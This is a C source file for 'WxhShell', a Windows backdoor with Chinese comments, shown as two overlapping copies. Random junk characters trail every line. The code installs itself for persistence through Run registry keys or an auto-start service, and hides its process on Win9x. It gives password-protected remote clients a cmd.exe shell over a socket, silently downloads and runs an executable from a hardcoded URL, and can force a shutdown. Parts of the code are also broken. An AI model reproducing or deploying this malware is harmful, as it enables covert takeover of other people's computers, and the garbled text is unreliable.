    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ swj!da  
    else { h x5M)8#+  
    closesocket(wsh); CYE[$*g6y  
    ExitThread(0); x"C7NW[$  
    } Qb)c>r  
    break; \ILNx^$EL  
    } Z&iW1  
  // 获取shell YuVlD/  
  case 's': { s#a`e]#?  
    CmdShell(wsh); /Ta-3Eh!  
    closesocket(wsh); ~XWBLU<  
    ExitThread(0); )SZ#%OE*  
    break; 2SlL`hN>Z  
  } G}l9 [lE  
  // 退出 Iq,h}7C8'  
  case 'x': { Vq-Kl[-|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `p* 43nV  
    CloseIt(wsh); aN*{nW  
    break; iZ}c[hC'3`  
    } PIo@B|W-SX  
  // 离开 =8*ru\L:hr  
  case 'q': { m='}t \=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ']\SX*z?  
    closesocket(wsh); 0',buJncV  
    WSACleanup(); "?aI  
    exit(1); 4\|Q;@f  
    break; d(V4;8a0  
        } Bnk<e  
  } <Rn-B).3bs  
  } y5aPs z  
pT~3< ,  
  // 提示信息 H}G 9gi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :8/ 6dx@Y(  
} rX5"p!z  
  } }vY^e OK.  
,\&r\!=  
  return; z3L=K9)  
} =ca[*0^Z7  
yO@1#  
// shell模块句柄 m6K7D([f  
int CmdShell(SOCKET sock) 2NjgLXP  
{ a]5y CBm  
STARTUPINFO si; rf]z5;  
ZeroMemory(&si,sizeof(si)); SYsO>`/ )  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WH39=)D%u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i g7|kl  
PROCESS_INFORMATION ProcessInfo; p&<n_b  
char cmdline[]="cmd"; oO3 ^9?Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $]};EI#  
  return 0; u]O}Ub`  
} (vD==n9Hd  
~Yl.(R  
// 自身启动模式 .L%pWRxA[  
int StartFromService(void) .XeZjoJ$z  
{ 1oiSmW\  
typedef struct M,ybj5:6  
{ hPG@iX|V  
  DWORD ExitStatus; *6AqRE  
  DWORD PebBaseAddress; L ..  
  DWORD AffinityMask; ~J~R.r/  
  DWORD BasePriority; ?F$#t6Q  
  ULONG UniqueProcessId; G;wh).jG5  
  ULONG InheritedFromUniqueProcessId; N Czabl  
}   PROCESS_BASIC_INFORMATION; @@\px66  
 HRbv%  
PROCNTQSIP NtQueryInformationProcess; <<gW`KF   
;3& wO~lW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >}NnzZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N+ ]O#Js?  
F,VWi$Po\N  
  HANDLE             hProcess; \/SOpC  
  PROCESS_BASIC_INFORMATION pbi; #l-zY}&  
D'ZUbAh!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZRw^< +  
  if(NULL == hInst ) return 0; kRwY#  
bk=;=K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dZ* &3.#D5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8tjWVo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bxL'k/Y$  
q^^R|X1  
  if (!NtQueryInformationProcess) return 0; m;xa}b{(i  
v)|a}5={  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h\Y~sm?!`  
  if(!hProcess) return 0; ]lyQ*gM  
V(LfFO{^>?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZR|s]'  
:?z @T[-  
  CloseHandle(hProcess); u-jc8W`Zd  
D(|+z-}M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nB :iG  
if(hProcess==NULL) return 0; Df2$2VU  
^e_uprZWm  
HMODULE hMod; QALr   
char procName[255]; @J6r;4|&  
unsigned long cbNeeded; z.)*/HGJm  
@Q nKaZ8jW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }LX!dDuwA  
99'c\[fd'  
  CloseHandle(hProcess); [K4 k7$  
.) %, R  
if(strstr(procName,"services")) return 1; // 以服务启动 "B"ql-K  
g%^/^<ei  
  return 0; // 注册表启动 NgsEEPu?  
} ,SdxIhL  
*'M+oi  
// 主模块 v&9:Wd*Iz'  
int StartWxhshell(LPSTR lpCmdLine) W:wSM *  
{ {`)o xzR  
  SOCKET wsl; L:@COy  
BOOL val=TRUE; f0%'4t  
  int port=0; YaQ5Z-c  
  struct sockaddr_in door; d0%Wz5Np  
?=_w5D.3J  
  if(wscfg.ws_autoins) Install(); kDRxu!/  
@_c&lToj_  
port=atoi(lpCmdLine); g.;2N9  
&F[N$6:v  
if(port<=0) port=wscfg.ws_port; N(J#<;!yb  
'?NMQ  
  WSADATA data; , .=7{y~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2p 7;v7)y  
f` -vnh^+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i~<.@&vt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &"Cy&[  
  door.sin_family = AF_INET; x2b t^!t.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ag(JSVY  
  door.sin_port = htons(port); \7$"i5  
`W1TqA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4pcIH5)z  
closesocket(wsl); &:g1*+  
return 1; l;aO"_E1m  
} )N3/;U;  
,*x/L?.Z!  
  if(listen(wsl,2) == INVALID_SOCKET) { L KZ<\% X  
closesocket(wsl); %|R]nB  
return 1; 6y?uH; SL  
} r@'~cF]m  
  Wxhshell(wsl); 0f3>s>`M  
  WSACleanup(); w9gfva$&  
(otD4VR_  
return 0; T|(w-)mv  
G(F=6L~;  
} G2>s#Y5(,  
C4d CaiX  
// 以NT服务方式启动 G$/Qcr6W<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]D2 d=\  
{ fv* $=m  
DWORD   status = 0; p>T  
  DWORD   specificError = 0xfffffff; |x _jpR  
q!5`9u6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @K#}nKN'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6*|EB|%n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ose)\rM'  
  serviceStatus.dwWin32ExitCode     = 0; zY4y]k8D*  
  serviceStatus.dwServiceSpecificExitCode = 0; Fy6Lz.baB  
  serviceStatus.dwCheckPoint       = 0; ?g *.7Wc  
  serviceStatus.dwWaitHint       = 0; L0%W;m  
W ,]Ua]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wn2J]BH  
  if (hServiceStatusHandle==0) return; jEP'jib%  
=6fJUy^M\  
status = GetLastError(); H:z<]Rc  
  if (status!=NO_ERROR) Q;m8 drU  
{ a`C2:Z23(#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c,G[Rk  
    serviceStatus.dwCheckPoint       = 0; VIod6Vk  
    serviceStatus.dwWaitHint       = 0; K[9P{0hA  
    serviceStatus.dwWin32ExitCode     = status; {e[~1]j3  
    serviceStatus.dwServiceSpecificExitCode = specificError; o> 1+m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /kO%aN  
    return; RW Jyd=  
  } 1dy"  
l?^}n(_.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )g U#[}6H  
  serviceStatus.dwCheckPoint       = 0; Jep/%cT$w  
  serviceStatus.dwWaitHint       = 0; N{Pa&/V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7< ?Aou  
} S[&yO-=p6  
oHu7<r  
// 处理NT服务事件,比如:启动、停止 2,h]Y=.s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u+pZ<Bb  
{ kidv^`.H$w  
switch(fdwControl) /Hq#!2)  
{ 4/2@^\?i)  
case SERVICE_CONTROL_STOP: 99~-TiU  
  serviceStatus.dwWin32ExitCode = 0; bl|)/)6o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PvxU.  
  serviceStatus.dwCheckPoint   = 0; mMK 93Ng"&  
  serviceStatus.dwWaitHint     = 0; ~Hb0)M@y7  
  { ZJjm r,1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vk1 c14i>  
  } `@<)#9'A  
  return; h4~VzCR4x\  
case SERVICE_CONTROL_PAUSE: 5F 8'f)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I]91{dq  
  break; a3 t||@v!  
case SERVICE_CONTROL_CONTINUE: 9}G<\y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Qb86*  
  break; Ff[GR$m  
case SERVICE_CONTROL_INTERROGATE: O%} hNTS"  
  break; @< 0c  
}; 1w 9zl}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Ps1.  
} qFY>/fCP4  
{^R" V ,)  
// 标准应用程序主函数  ~>3#c#[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "@jYZm8  
{ ~yRKNH*M  
R]S!PSoL  
// 获取操作系统版本 fQ2U |  
OsIsNt=GetOsVer();  S^5Qhv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M(Yt9}Z%Y  
vH"^a/95|  
  // 从命令行安装 x^YsXzu  
  if(strpbrk(lpCmdLine,"iI")) Install(); j>hBNz  
<M,=( p{  
  // 下载执行文件 FeZGPxc~  
if(wscfg.ws_downexe) { gJOD+~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9*[!ux7h  
  WinExec(wscfg.ws_filenam,SW_HIDE); |7miT!y8  
} 4tp }  
)u=a+T  
if(!OsIsNt) { C'joJEo  
// 如果时win9x,隐藏进程并且设置为注册表启动 O F?o  
HideProc(); ^`9O$.'@  
StartWxhshell(lpCmdLine); .H86f !=  
} A] f^9F@  
else %^;rYn3  
  if(StartFromService()) *adwCiB  
  // 以服务方式启动 9%?a\#C  
  StartServiceCtrlDispatcher(DispatchTable); {_jbFJ  
else ^^[A\'  
  // 普通方式启动 |Tk'H&  
  StartWxhshell(lpCmdLine); -9q3]nmT(  
XK@Ct eP"  
return 0; !z+'mF?V+X  
} -&LF`V&3w  
uNvdlY]  
8iUKG  
?T>)7Y)  
=========================================== ,Y0qGsV  
_6\"U5*Y  
nX+c HF  
3?wL)6Uj8J  
VO,F[E~_  
AK$i0Rn;pm  
" }Y3*X: i7  
JuR x>F4  
#include <stdio.h> `t]8 [P5  
#include <string.h> Lr(My3vF8q  
#include <windows.h> *V@t]d$=#  
#include <winsock2.h> %$+bO/f  
#include <winsvc.h> O|&SL03Z8  
#include <urlmon.h> aydf# [F  
*#o2b-[V  
#pragma comment (lib, "Ws2_32.lib") ])Z p|?Y  
#pragma comment (lib, "urlmon.lib") w+{ o^ O  
C ?aa)H  
#define MAX_USER   100 // 最大客户端连接数 #>">fs]  
#define BUF_SOCK   200 // sock buffer N/8B@}@n  
#define KEY_BUFF   255 // 输入 buffer Oa' T$'  
f2i9UZ$=e!  
#define REBOOT     0   // 重启 AXPdgo6  
#define SHUTDOWN   1   // 关机 zw%1 a 3!  
s[u*~A  
#define DEF_PORT   5000 // 监听端口 U %aDkC+M  
RnUud\T/  
#define REG_LEN     16   // 注册表键长度 hJ*#t<.<P;  
#define SVC_LEN     80   // NT服务名长度 >d^DN;p  
eY'RDQa  
// 从dll定义API 'F^"+Xi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #UqE %g`J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2;ac&j1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &MJ`rj[%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J!5&Nc  
aj$&~-/ R  
// wxhshell配置信息 D4U<Rn6N_5  
struct WSCFG { Ak,T{;rD  
  int ws_port;         // 监听端口 wl%I(Cw{]  
  char ws_passstr[REG_LEN]; // 口令 B3&ETi5NTU  
  int ws_autoins;       // 安装标记, 1=yes 0=no #i-b|J+%  
  char ws_regname[REG_LEN]; // 注册表键名 U{8x.CJ]  
  char ws_svcname[REG_LEN]; // 服务名 7m;<b$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )xYGJq4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0 TOw4pC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &B} ,xcNO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jr,**,wA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qE{L42  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k$ w#:Sx  
0Q:l,\lY  
}; Gs(;&fw  
/*m6-DC  
// default Wxhshell configuration mC!^`y)  
struct WSCFG wscfg={DEF_PORT, fOz.kK[]  
    "xuhuanlingzhe", p!+bn,?G  
    1, W$Z8AZ{E  
    "Wxhshell", .-.b:gdO(  
    "Wxhshell", ~.J{yrJ&  
            "WxhShell Service", aoU5pftC  
    "Wrsky Windows CmdShell Service", $%?[f;S3,  
    "Please Input Your Password: ", WTu1t]  
  1, | =tGrHL  
  "http://www.wrsky.com/wxhshell.exe", j%fi*2uX  
  "Wxhshell.exe" m/ngPeZ  
    }; [yDOv Q[  
6:`4bo  
// 消息定义模块 (Iv*sd *  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wo\O 0?d3{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xrzpn&Y=#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o:lMRP~  
char *msg_ws_ext="\n\rExit."; 2:&QBwr+;  
char *msg_ws_end="\n\rQuit."; [&:dPd1_  
char *msg_ws_boot="\n\rReboot..."; c=4z+_K  
char *msg_ws_poff="\n\rShutdown..."; B8?j"AF  
char *msg_ws_down="\n\rSave to "; ~f?brQ?  
dIk9C|-.  
char *msg_ws_err="\n\rErr!"; ZtX \E+mC  
char *msg_ws_ok="\n\rOK!"; D #C\| E:  
c) _u^Dh  
char ExeFile[MAX_PATH]; 8l>YpS*S^  
int nUser = 0; /O[ Z  
HANDLE handles[MAX_USER]; eY3<LVAX  
int OsIsNt; gmtS3,  
,? V YrL  
SERVICE_STATUS       serviceStatus; HnY.=_G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nq[-.}Z6  
\N)!]jq  
// 函数声明 ]N6UY  
int Install(void); fq !CB]C  
int Uninstall(void); P B{7u  
int DownloadFile(char *sURL, SOCKET wsh); XPMvAZL  
int Boot(int flag); *I`Eb7 ^  
void HideProc(void); y+$a}=cb0  
int GetOsVer(void); Ba9"IXKH  
int Wxhshell(SOCKET wsl); }C5Fvy6uz  
void TalkWithClient(void *cs); /_tN&[  
int CmdShell(SOCKET sock); <(BIWm*  
int StartFromService(void); ])vqXjN6"  
int StartWxhshell(LPSTR lpCmdLine); 8hZc#b;  
8FgF6ip  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @g1T??h   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kf_*=ER  
iy|xF~  
// 数据结构和表定义 =+"-8tz8FV  
SERVICE_TABLE_ENTRY DispatchTable[] = ro18%' RRI  
{ Gc<^ b  
{wscfg.ws_svcname, NTServiceMain}, L:Me  
{NULL, NULL} q `L}\}o  
}; BJnysQ  
t[\6/`YH  
// 自我安装 9&1$\ZH  
int Install(void) ?)e6:T(  
{ c)SQ@B@q  
  char svExeFile[MAX_PATH]; Q,R|VI6Co  
  HKEY key; M&0U@ r-  
  strcpy(svExeFile,ExeFile); [m9=e-KS$Q  
4&H&zST//m  
// 如果是win9x系统,修改注册表设为自启动 |i- S}M  
if(!OsIsNt) { 1N+ju"2R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G:Nwi=vN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ._`?ZJ  
  RegCloseKey(key); ]v0=jm5A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3OJGBiDAr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1b8}TG2  
  RegCloseKey(key); 10m`LG  
  return 0; ab*O7v  
    } UZu.B!4  
  } .wkW<F7  
} p}q]GJ  
else { vJuL+'[i  
 T_<:  
// 如果是NT以上系统,安装为系统服务 2.&%mSN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *r iWrG  
if (schSCManager!=0) hu:x,;`9H  
{ FUZ`ST+OL  
  SC_HANDLE schService = CreateService aY\(R02B  
  ( `&SBp }W}  
  schSCManager, <Mf(2`T  
  wscfg.ws_svcname, ^P owL:  
  wscfg.ws_svcdisp, }*vO&J@z  
  SERVICE_ALL_ACCESS, _sF Ad`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0#/Pc`z C  
  SERVICE_AUTO_START, cfPQcB>A  
  SERVICE_ERROR_NORMAL, C.+:FY.H  
  svExeFile, mWH;-F*%  
  NULL, *NQsD C.J^  
  NULL, /(Ryh6M  
  NULL, @0iXqM#jH  
  NULL, u(4o#m  
  NULL V#V<Kz  
  ); c~ Q 5A  
  if (schService!=0) I3dUI~}u  
  { ='fN xabB  
  CloseServiceHandle(schService); 1|5TuljTd  
  CloseServiceHandle(schSCManager); fs*OR2YG7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +}NQ |y V  
  strcat(svExeFile,wscfg.ws_svcname); d&%}u1 .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PAv<J<d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H2E'i\  
  RegCloseKey(key); nLnzl  
  return 0; '#CYw=S+  
    } PfJfa/#pA  
  } TU?$yNE  
  CloseServiceHandle(schSCManager); {-L}YX"Bh  
} ~0 Mw\p%}  
} _&PF(/w  
_cQhT  
return 1; BXLw  
} kj'  
iayxN5,  
// 自我卸载 }K9Ji]tOK:  
int Uninstall(void) BDPF>lPf<  
{ q8 Rep  
  HKEY key; &F|Wk,y  
qQCds}<w  
if(!OsIsNt) { Z/b,aZhB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \$2zF8  
  RegDeleteValue(key,wscfg.ws_regname); Xvn \~Vr  
  RegCloseKey(key); 3y-P-NI~=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E# *`u  
  RegDeleteValue(key,wscfg.ws_regname); dlc'=M  
  RegCloseKey(key); ex)U'.^  
  return 0; B[[1=  
  } !tuK.?q|l  
} 4j~WrdI*  
} A|BN >?.t  
else { WmZ,c_  
*5R91@xt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c_syJ<  
if (schSCManager!=0) ~JohcU}d  
{ ]H=P(Z -  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \-I)dMm[  
  if (schService!=0) ;;n=(cM|z  
  { (.~'\@  
  if(DeleteService(schService)!=0) { ~D! Y] SK  
  CloseServiceHandle(schService); 8iN@n8O  
  CloseServiceHandle(schSCManager); ?/24-n  
  return 0; F1&7m )f$l  
  } #L xfE<^  
  CloseServiceHandle(schService); $ Bdxu  
  } a`S3v  
  CloseServiceHandle(schSCManager); _Uu p*#m  
} >I9|N}I  
} q%wF=<W  
U<U?&hB\@  
return 1; M,bcTa8  
} 8Tm/gzx  
mcSZ1d~,(  
// 从指定url下载文件 gBE1a w;  
int DownloadFile(char *sURL, SOCKET wsh) <& =3g/Y  
{ gYfOa`k  
  HRESULT hr; ^uIKwql  
char seps[]= "/"; + )*aS+  
char *token; hV"2L4/E  
char *file; X*rB`M7,  
char myURL[MAX_PATH]; dsA::jR0P6  
char myFILE[MAX_PATH]; <F+9#-  
Vvk \ $'  
strcpy(myURL,sURL); j'&a)-Wx_  
  token=strtok(myURL,seps); bv'Z~@<c  
  while(token!=NULL) sys;Rz2  
  { Z n]e2  
    file=token; szD BfGd%j  
  token=strtok(NULL,seps); -.hH,zm  
  } j% E9@#  
(r$QQO) /  
GetCurrentDirectory(MAX_PATH,myFILE); Kw,ln<)2  
strcat(myFILE, "\\"); `pYL/[5  
strcat(myFILE, file); }o9(Q8  
  send(wsh,myFILE,strlen(myFILE),0); r;OE6}L>  
send(wsh,"...",3,0); _@ @"'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u^&,~n@n7  
  if(hr==S_OK) 9Q*zf@w  
return 0; X>VxE/  
else -vBk,;^>  
return 1; ,v*<yz/  
C**kJ  
} D_Cd^;b  
aW#_"Y}v'  
// 系统电源模块 K6z-brvw "  
int Boot(int flag) Q OP8{~O  
{ ~CL^%\K  
  HANDLE hToken; AJ-~F>gn  
  TOKEN_PRIVILEGES tkp; NpF}~$2  
O8S"B6?$~'  
  if(OsIsNt) { h5R5FzY0&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e+>&? x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U2VnACCUZs  
    tkp.PrivilegeCount = 1; Vch!&8xii  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pM'AhzS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (_O_zu8_  
if(flag==REBOOT) { <y5f[HjLy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W L5!H.q  
  return 0; *ocbV`  
} aj*%$!SU+  
else { Uw5`zl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :ift{XR'  
  return 0; d ;W(Vm6  
} _jCjq   
  } ;qT7BUh(%  
  else { )51H\o  
if(flag==REBOOT) { O<v9i4*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,ZLg=  
  return 0; Z*(lg$A9 M  
} E64d6z^7u  
else { Qv@Z#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H|iY<7@  
  return 0; ?5L.]Isa5  
} Hc{0O7  
} tgbr/eCoU  
' Z}/3 dp  
return 1; "cUCB  
} vc_ 5!K%[  
2!35Tj"RFE  
// win9x进程隐藏模块 $xf{m9 8  
void HideProc(void) 4W''j[Y/  
{ ,,>b=r_r&  
V5{^R+_)Ya  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8Dq;QH}  
  if ( hKernel != NULL ) 0FV?By  
  { LGm>x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e/;chMCq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OxraaN`  
    FreeLibrary(hKernel); Bld$<uU  
  } zU9G: jH  
Z) zWfv}  
return; a!>yX ex  
} N}3$1=@Y  
6h|@Bz/A  
// 获取操作系统版本 r%g?.4o*b  
int GetOsVer(void) +0Rr5^8u  
{ 0/."R ;  
  OSVERSIONINFO winfo; ;_lEu" -  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x_oL~~@  
  GetVersionEx(&winfo); }'KVi=qnHb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VBIY[2zf  
  return 1; x^| J-  
  else YEWHr>&Z  
  return 0; w-%H\+J  
} :_q   
~iZMV ?w  
// 客户端句柄模块 btK| U  
int Wxhshell(SOCKET wsl) ;y7V-sf  
{ _Z|s!~wdz  
  SOCKET wsh; PL#8~e;'  
  struct sockaddr_in client; \1[I(u  
  DWORD myID; Xp=Y<`dX  
D/w4u;E@  
  while(nUser<MAX_USER) ? 5qo>W<7  
{ RrkS!E[C  
  int nSize=sizeof(client);  l+.E'   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D@i,dPz5Zl  
  if(wsh==INVALID_SOCKET) return 1; [UVxtMJ  
$C UmRi{T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,Z;z}{.hq  
if(handles[nUser]==0) an 3"y6.8  
  closesocket(wsh); @83h/Wcxd  
else uw@z1'D[i"  
  nUser++; n2Oi< )  
  } HN\Zrb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >o=3RB=Fh  
_be*B+?2t  
  return 0; W%f:+s}cI  
} s7C oUd2  
\]U@=w  
// 关闭 socket \*H/YByTb  
void CloseIt(SOCKET wsh) dF{3 ~0+,  
{ j[XA"DZR<  
closesocket(wsh); 8z^?PZ/  
nUser--; K2TO,J3 E  
ExitThread(0); x+vNA J  
} b'^OW  
${#5$U+kI  
// 客户端请求句柄 ^j?\_r'j  
void TalkWithClient(void *cs) L!3AiAnr  
{ W>Y8 u8  
.$DB\jJXjV  
  SOCKET wsh=(SOCKET)cs; 6u3DxFiTm  
  char pwd[SVC_LEN]; xa`&/W>  
  char cmd[KEY_BUFF]; ]],6Fi+  
char chr[1]; >eg&i(C+  
int i,j; sQ/7Mc  
J'4{+Q_pa  
  while (nUser < MAX_USER) { }(AUe5aw`G  
>wjWX{&?  
if(wscfg.ws_passstr) { aTs5^Kh')  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f- pt8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :<=!v5 SK  
  //ZeroMemory(pwd,KEY_BUFF); 0K'lr;  
      i=0; <JHU*Z  
  while(i<SVC_LEN) { V; 1r  
rm>;B *;  
  // 设置超时 v#.FK:u}  
  fd_set FdRead; *$x/(!UE  
  struct timeval TimeOut; >\K<q>*  
  FD_ZERO(&FdRead); /d5_-AB(v  
  FD_SET(wsh,&FdRead); YH^_d3A;  
  TimeOut.tv_sec=8; d3T|N\(DL  
  TimeOut.tv_usec=0; (| Am  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }$V]00 X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5j`"@C5;O  
l/yLSGjM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EA2BN}  
  pwd=chr[0]; [UquI "  
  if(chr[0]==0xd || chr[0]==0xa) { j3VM !/  
  pwd=0; Q;{yIa$ $  
  break; !o*BRR*  
  } 6)P~3 C'  
  i++; fcb:LPk;  
    } Tfhg\++u  
@QtJ/("&WC  
  // 如果是非法用户,关闭 socket /a6\G.C5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *}3e'0`  
} +&tY&dQQB  
*9%<}z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E=w$r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C/e`O|G  
;u,%an<(  
while(1) { |hehROUn  
"OFYVK\]i  
  ZeroMemory(cmd,KEY_BUFF); 5Ga>qIM  
^LTLyt)/  
      // 自动支持客户端 telnet标准   rx'},[b]3  
  j=0; aZ2liR\QE  
  while(j<KEY_BUFF) { ?)1h.K1}M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Es zwg  
  cmd[j]=chr[0]; 8[,,Kr)-  
  if(chr[0]==0xa || chr[0]==0xd) { A$A7 F=x  
  cmd[j]=0;  2 Ua_7  
  break; \P!v9LX(  
  } a2UER1Yp"  
  j++; 7i~::Z <  
    } GY<Y,  
*-Y77p7u  
  // 下载文件 WDKj)f9cy  
  if(strstr(cmd,"http://")) { e}f!zA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eg) =^b  
  if(DownloadFile(cmd,wsh)) }_0?S0<#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9M~EH?>+[  
  else S D] d/|y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \,[Qg#W$u  
  }  ;e()|  
  else { (G} *ho  
B[C2uVEX:  
    switch(cmd[0]) { zrU0YHmt  
